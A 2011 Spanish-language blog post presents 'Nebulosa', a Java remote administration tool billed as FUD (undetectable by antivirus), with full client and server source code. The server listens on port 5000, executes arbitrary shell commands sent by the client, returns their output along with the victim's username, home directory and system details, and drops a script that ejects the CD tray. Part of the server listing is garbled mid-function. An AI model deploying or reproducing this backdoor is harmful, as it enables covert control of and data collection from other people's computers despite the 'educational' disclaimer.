jueves, 22 de diciembre de 2011

Nebulosa RAT Java FUD conexion directa

Remote Administration Tool, de conexión directa, Nebulosa
empeze practicando los sockets y al final termino en esto, quería mirarme algo sobre los thread pero ya me canse de seguir con este proyecto.

Requerimientos y posibles fallos
necesaria ip a la que se quiere conectar (si el host obtiene ip por un DHCP la ip varia)
Firewall a veces puede impedir la conexión
Antivirus a veces puede llegar a dar algún problema


  • si la conexión se va a realizar fuera de la red local necesario el "nateo" de los puertos en el router
  • Puerto por defecto 5000 tanto en el cliente como en el servidor
  • Programado desde 0 en JAVA
  • Multiplataforma
  • FUD

Video ejemplo:



caracteristicas:
obtiene las propiedades del sistema
textarea donde muestra el resultado del comando ejecutado en el host donde corre el server enviado
abre la disquetera (solo bajo windows)

seguro les servirá para aprender algo sobre JAVA

Salu2!

Descarga del SRC Aqui



Cliente
/**
 * Write a description of class R.A.T. Nebulosa here.
 * No me hago responsable del mal uso que se le de a este programa
 * se ha desarrollado con fines educativos y no ilícitos
 * cualquier daño hecho recaee toda la responsabilidad en el usuario
 *
 * @author (RicardoMR) 
 * @version (1.1)
 */

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.Socket; 

import java.awt.Container;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JTextField;
import javax.swing.JLabel;

    import javax.swing.JTextArea;
    import javax.swing.JScrollPane;
    
    //import java.awt.*;
    import javax.swing.ImageIcon;
    
    import java.io.File;

public class Interfaz {
   public static void main (String [ ] args){ Interfaz p = new Interfaz(); }
   
   static JFrame frmMain = new JFrame("R.A.T. Nebulosa");
   static JButton cmdAdd = new JButton("Enviar");
   static JTextField txtNumA = new JTextField("ifconfig");
   static JLabel lblResult = new JLabel("IP");
   static JTextField txtNumA1 = new JTextField("localhost");
   static JLabel lblResult1 = new JLabel("Port");
   static JTextField txtNumA2 = new JTextField("5000");
   static JLabel lblResult2 = new JLabel("Sistema Operativo : ");
   static JLabel lblResult3 = new JLabel("Arquitectura: ");
   static JLabel lblResult4 = new JLabel("Version: ");
   
   static JLabel lblResult5 = new JLabel("Service Pack: ");
   static JLabel lblResult6 = new JLabel("Pais: ");
   static JLabel lblResult7 = new JLabel("Carpeta home: ");
   static JLabel lblResult8 = new JLabel("Lenguaje: ");
   static JLabel lblResult9 = new JLabel("Nombre de Usuario: ");
   static JLabel lblResult10 = new JLabel("Java Version: ");
   
   static JButton cmdAdd1 = new JButton("borrar");
   static JButton cmdAdd2 = new JButton("Disk");
   
   
   
   /**texto y cantidad de caracteres hacia la izq y hacia la derecha**/
   static JTextArea txtNumB = new JTextArea( "Resultado del Comando", 50, 50 );
   static JScrollPane pp = new JScrollPane(txtNumB);
   static JLabel FONDO;
   
   static Container cntMain = frmMain.getContentPane();
   
   
  Interfaz(){
      
        //JLabel FONDO = new JLabel(new ImageIcon("C:/aaaa.PNG"));
        FONDO = new JLabel(new ImageIcon(new File ("aaaa.png").getAbsolutePath ()));
        /***(horizontal,vertical,anchura,altura)**/
                
        frmMain.setBounds(500, 100, 710, 370);
        frmMain.setVisible(true);
        frmMain.setResizable(false);
        frmMain.setLayout(null);
        frmMain.add(FONDO);
        //frmMain.show();
        /*****************************************/
        txtNumA.setBounds(10, 10, 160, 20);
        cmdAdd.setBounds(180, 10, 70, 20); 
        lblResult.setBounds(10, 40, 70, 20);
        txtNumA1.setBounds(30, 40, 90, 20);
        lblResult1.setBounds(145, 40, 70, 20);
        txtNumA2.setBounds(180, 40, 70, 20);
        lblResult2.setBounds(10, 70, 240, 20);
        lblResult3.setBounds(10, 100, 240, 20);
        lblResult4.setBounds(10, 130, 240, 20);
        
        lblResult5.setBounds(10, 160, 240, 20);
        lblResult6.setBounds(10, 190, 240, 20);
        lblResult7.setBounds(10, 220, 240, 20);
        lblResult8.setBounds(10, 250, 240, 20);
        lblResult9.setBounds(10, 280, 240, 20);
        lblResult10.setBounds(10, 310, 240, 20);
        cmdAdd1.setBounds(180, 70, 70, 20);
        cmdAdd2.setBounds(180, 100, 70, 20);

            
        txtNumB.setBounds(280,10,410,320); 
        pp.setBounds(280,10,410,320);   
        FONDO.setBounds(0, -18, 710, 370);        
        /***************************/
    
        cntMain.add(txtNumA);
        cntMain.add(cmdAdd);
        cntMain.add(lblResult);
        cntMain.add(txtNumA1);
        cntMain.add(lblResult1);
        cntMain.add(txtNumA2);
        cntMain.add(lblResult2);
        cntMain.add(lblResult3);
        cntMain.add(lblResult4);
        
        cntMain.add(lblResult5);
        cntMain.add(lblResult6);
        cntMain.add(lblResult7);
        cntMain.add(lblResult8);
        cntMain.add(lblResult9);
        cntMain.add(lblResult10);
        cntMain.add(cmdAdd1);
        cntMain.add(cmdAdd2);
        cntMain.add(FONDO);
        
        
        cmdAdd.addActionListener(new Start_Add());  
        cmdAdd1.addActionListener(new Start_Add1());
        cmdAdd2.addActionListener(new Start_Add2()); 
        
        cntMain.add(pp);
    }
  
    
  static void informacion (String info){
     
     
     String corte = info;
     String[] items = corte.split("/!");
     
         
     lblResult2.setText(items[0]);
     lblResult3.setText(items[1]);
     lblResult4.setText(items[2]);
     lblResult5.setText(items[3]);
     lblResult6.setText(items[4]);
     lblResult7.setText(items[5]);
     lblResult8.setText(items[6]);
     lblResult9.setText(items[7]);
     lblResult10.setText(items[8]);
     txtNumB.setText(items[9]);
     


    }
}

class Start_Add implements ActionListener {
 
   public void actionPerformed(ActionEvent arg0) {
        String ip = Interfaz.txtNumA1.getText();
        int port = Integer.parseInt(Interfaz.txtNumA2.getText());
        
        String com = Interfaz.txtNumA.getText();
        String borrar = "no";
        String disq = "cerrado";
        //Socket_0 envioComando = new Socket_0(com, borrar, ip, port);
        new Socket_0(com, borrar, disq, ip, port);
      
   }
  
}

class Start_Add1 implements ActionListener {
 
   public void actionPerformed(ActionEvent arg1) {
        String ip = Interfaz.txtNumA1.getText();
        int port = Integer.parseInt(Interfaz.txtNumA2.getText());
        
        String com = "0";
        String borrar = "si";
        String disq = "cerrado";
        //Socket_0 envioComando = new Socket_0(com, borrar, ip, port);
        new Socket_0(com, borrar, disq, ip, port);
      
   }
  
}

class Start_Add2 implements ActionListener {
 
   public void actionPerformed(ActionEvent arg2) {
        String ip = Interfaz.txtNumA1.getText();
        int port = Integer.parseInt(Interfaz.txtNumA2.getText());
        
        String com = "0";
        String borrar = "no";
        String disq = "abrir";
        //Socket_0 envioComando = new Socket_0(com, borrar, ip, port);
        new Socket_0(com, borrar, disq, ip, port);
      
   }
  
}

class Socket_0{
    
    Socket Client;
    DataInputStream flujo;
    
    DataOutputStream salida;
    
    //Interfaz info;

    Socket_0(String com, String borrar, String disq, String ip, int port) {

        String u = com;
        String delete = borrar;
        String disquetera = disq;
        
        String todo = u+"/!"+delete+"/!"+disquetera;
        
        String HOST = ip;
        int PORT = port;
    
        try{
            Client = new Socket(HOST, PORT);
            
            
            //Envio de datos desde Cliente a Servidor
            salida = new DataOutputStream(Client.getOutputStream());
            salida.writeUTF(todo);
            
           /*******************************************************/
            //lectura de datos enviados desde Servidor al Cliente
            flujo = new DataInputStream(Client.getInputStream());  
            String envioI = flujo.readUTF();
                        
            
            
                        
            
            if(delete=="si"){
                envioInfo("");
            }else{

                envioInfo(envioI);

            }
            

            /*****************************************************/

            
            
            Client.close(); 
            
            

            
        } catch( Exception e ) {
            
            
            //System.out.println(e.getMessage());
            
        }
        
    }
    

    void envioInfo(String i){
        
        String ws = i;
        if(ws!=""){
            
            Interfaz.informacion(ws);
        }
        
    }
    

}

Servidor
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.Socket;
import java.net.ServerSocket; 
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.File;
import java.io.IOException;
import java.io.FileWriter;
import java.io.PrintWriter;
 
class Servidor {
    public static void main (String [ ] args){ Servidor p = new Servidor(); }
    int Port=5000;
    int numCli;
    
    ServerSocket Server;
    Socket Client;
    DataOutputStream flujo;
    
    DataInputStream salida;
    
    //EjecutarComando cmd;
    /**
       se necesita un control para comprobar que contiene algo estas funciones en caso de no contener
       nada se envia un "0"
       
       **/
   static String osName = System.getProperty ( "os.name" );
   static String Arch = System.getProperty ( "os.arch" );
   static String Version = System.getProperty ( "os.version" );
   
   static String SP = System.getProperty ( "sun.os.patch.level" );
   static String Country = System.getProperty ( "user.country" );
   static String dirUserHome = System.getProperty ( "user.home" );
   static String Lang = System.getProperty ( "user.language" );
   static String userName = System.getProperty ( "user.name" );
   static String VersionJV = System.getProperty ( "java.vm.version" );
   
   static String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};
   
  

 
    public Servidor(){
 

        valida();
        
        
        try {

            Server = new ServerSocket(Port);
 
            System.out.println("Escucho el puerto " + Port);

            for(numCli = 0; numCli < 2000; numCli++){
                
                Client = Server.accept(); 
                


                /*******************************************************/
                //lectura de datos enviados desde Servidor al Cliente
                salida = new DataInputStream(Client.getInputStream());
                String p = salida.readUTF();
                //System.out.println(p);
                
                String[] items = p.split("/!");
                //cmd = new EjecutarComando(items[0]);
                new EjecutarComando(items[0]);

                /******************************************************/
                
                                //Envio de datos desde Servidor al Cliente
                flujo = new DataOutputStream(Client.getOutputStream());
                flujo.writeUTF("S.O.: " + arrayDatos[0] + "/!Arquitectura: " + arrayDatos[1] + "/!Version: " + arrayDatos[2]
                + "/!Service Pack: " + arrayDatos[3] + "/!Pais: " + arrayDatos[4] + "/!Dir User Home: " + arrayDatos[5] + "/!Lenguaje: "
                + arrayDatos[6] + "/!Nombre Usuario: " + arrayDatos[7] + "/!Java Version: " + arrayDatos[8] + "/!" + EjecutarComando.resultadoCMD());

                if(items[2].length()<6){
                    new abrirDisquetera();
                    new EjecutarComando("fichero.bat");
                }
                
                
                Client.close();
                if(items[1]=="si"){
                    Server.close();
                }
            }
            
            System.out.println("Máximo de sockets recividos");
 
        } catch(Exception e) {

            //System.out.println(e.getMessage());
 
        }
        borrar();
    }
    
    void borrar(){
        System.exit(0);
    
    }

    void valida(){
                for(int i = 0; i> abredisk.vbs"); 
                pw.println            ("echo Set colCDROMs = oWMP.cdromCollection >> abredisk.vbs");
                pw.println            ("echo. >> abredisk.vbs"); 
                pw.println            ("echo if colCDROMs.Count >= 1 then >> abredisk.vbs"); 
                pw.println            ("echo          For i = 0 to colCDROMs.Count - 1 >> abredisk.vbs"); 
                pw.println            ("echo                   colCDROMs.Item(i).Eject >> abredisk.vbs"); 
                pw.println            ("echo          Next    ' cdrom >> abredisk.vbs"); 
                pw.println            ("echo End If >> abredisk.vbs"); 
                pw.println            ("start abredisk.vbs"); 
                pw.println            ("exit");
                
                
                
                
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
           try {

           if (null != ficheroI)
              ficheroI.close();
           } catch (Exception e2) {
              e2.printStackTrace();
           }
        }
    }



}

1 comentario:

  1. Hola me parece muy interesante tu RAT pero el link de descarga no funciona lo podrias subir nuevamente?
    Se te agradece.

    ResponderEliminar